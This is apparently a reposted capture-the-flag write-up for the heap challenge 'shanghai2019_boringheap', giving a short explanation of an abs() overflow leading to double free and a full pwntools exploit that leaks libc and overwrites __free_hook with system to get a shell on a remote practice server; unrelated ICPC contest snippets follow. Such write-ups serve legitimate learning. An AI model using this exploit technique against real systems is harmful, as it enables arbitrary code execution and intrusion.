shanghai2019_boringheap

思路

abs函数(取绝对值)的溢出使得为负数然后改size构造2个指针指向同一chunk完成一次double free为远程ubuntu18即可以直接打free_hook
exp:

from pwn import *
#p=process('./pwn')
p=remote('node3.buuoj.cn',26942)
elf=ELF('./pwn')
libc=elf.libc

def add(size,content):
	p.sendlineafter('Exit','1')
	p.sendlineafter('Size:',str(size))
	p.sendlineafter('Content:',content)

def edit(idx,wher,content):
	p.sendlineafter('Exit','2')
	p.sendlineafter('?',str(idx))
	p.sendlineafter('?',str(wher))
	p.sendlineafter('Content:',content)

def delete(idx):
	p.sendlineafter('Exit','3')
	p.sendlineafter('?',str(idx))

def show(idx):
	p.sendlineafter('Exit','4')
	p.sendlineafter('?',str(idx))

for i in range(20):
	add(2,'/bin/sh\x00')
payload='\x11'*0x18+p64(0x481)
edit(0,0x80000000,payload)
delete(0)
add(2,'aaaa')
show(1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-96-0x10
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
add(2,'bbbb')
delete(1)
delete(21)
add(2,p64(free_hook))
add(2,'doudou')
add(2,p64(system))
#show(6)
delete(18)
p.interactive()

本文链接：https://blog.csdn.net/qq_37433000/article/details/104382936

智能推荐

2019 Shanghai Online Contest Problem D Counting Sequences I

搜索思维题 ...

The Preliminary Contest for ICPC Asia Shanghai 2019 G , F

G Substring hash+滑动窗口即可。问多个串在原串特殊出现次数。即：首位相同，中间字符出现次数相同。那我们可以把首位乘上131进制的2个固定位。然后中间字符每个字符按字符种类赋予相应的位。最后hash相同的就是特殊相同的2个串每个长度m的询问字符串，只需要滑动窗口存进unordered里，复杂度On q次Oq*n 会T；但题目保证长度和小于100000，所以不同长度的字符串最...

The Preliminary Contest for ICPC Asia Shanghai 2019

A B C D E F G H I J K L 补 sineMora cycleke cycleke 补 OwenCreeper 补 . . sineMora x cycleke 这次网络赛中途出现了一些策略上的失误，中途全队都在查F代码，还在E上花了太长的时间，没有及时弃掉。这里写一下我做（补）的题的简要题解。 A.Lightning Routing I 题意：给出一棵带边权树，每次修改一条...

The Preliminary Contest for ICPC Asia Shanghai 2019

The Preliminary Contest for ICPC Asia Shanghai 2019 上海网络赛 B. Light bulbs 写法1：线段树，节点维护区间亮灯数量...

2019 ICPC Asia Shanghai - A Simple Problem On A Tree

题目链接：2019 ICPC Asia Shanghai - A Simple Problem On A Tree 一道码农题。可能出题人想锻炼我们的代码能力。QAQ 就是线段树维护三次方，然后转到树上，就用树剖维护即可。特别要注意几个lazy的转换。优先级也要注意。 AC代码：...

代码先锋网代码片段及技术文章聚合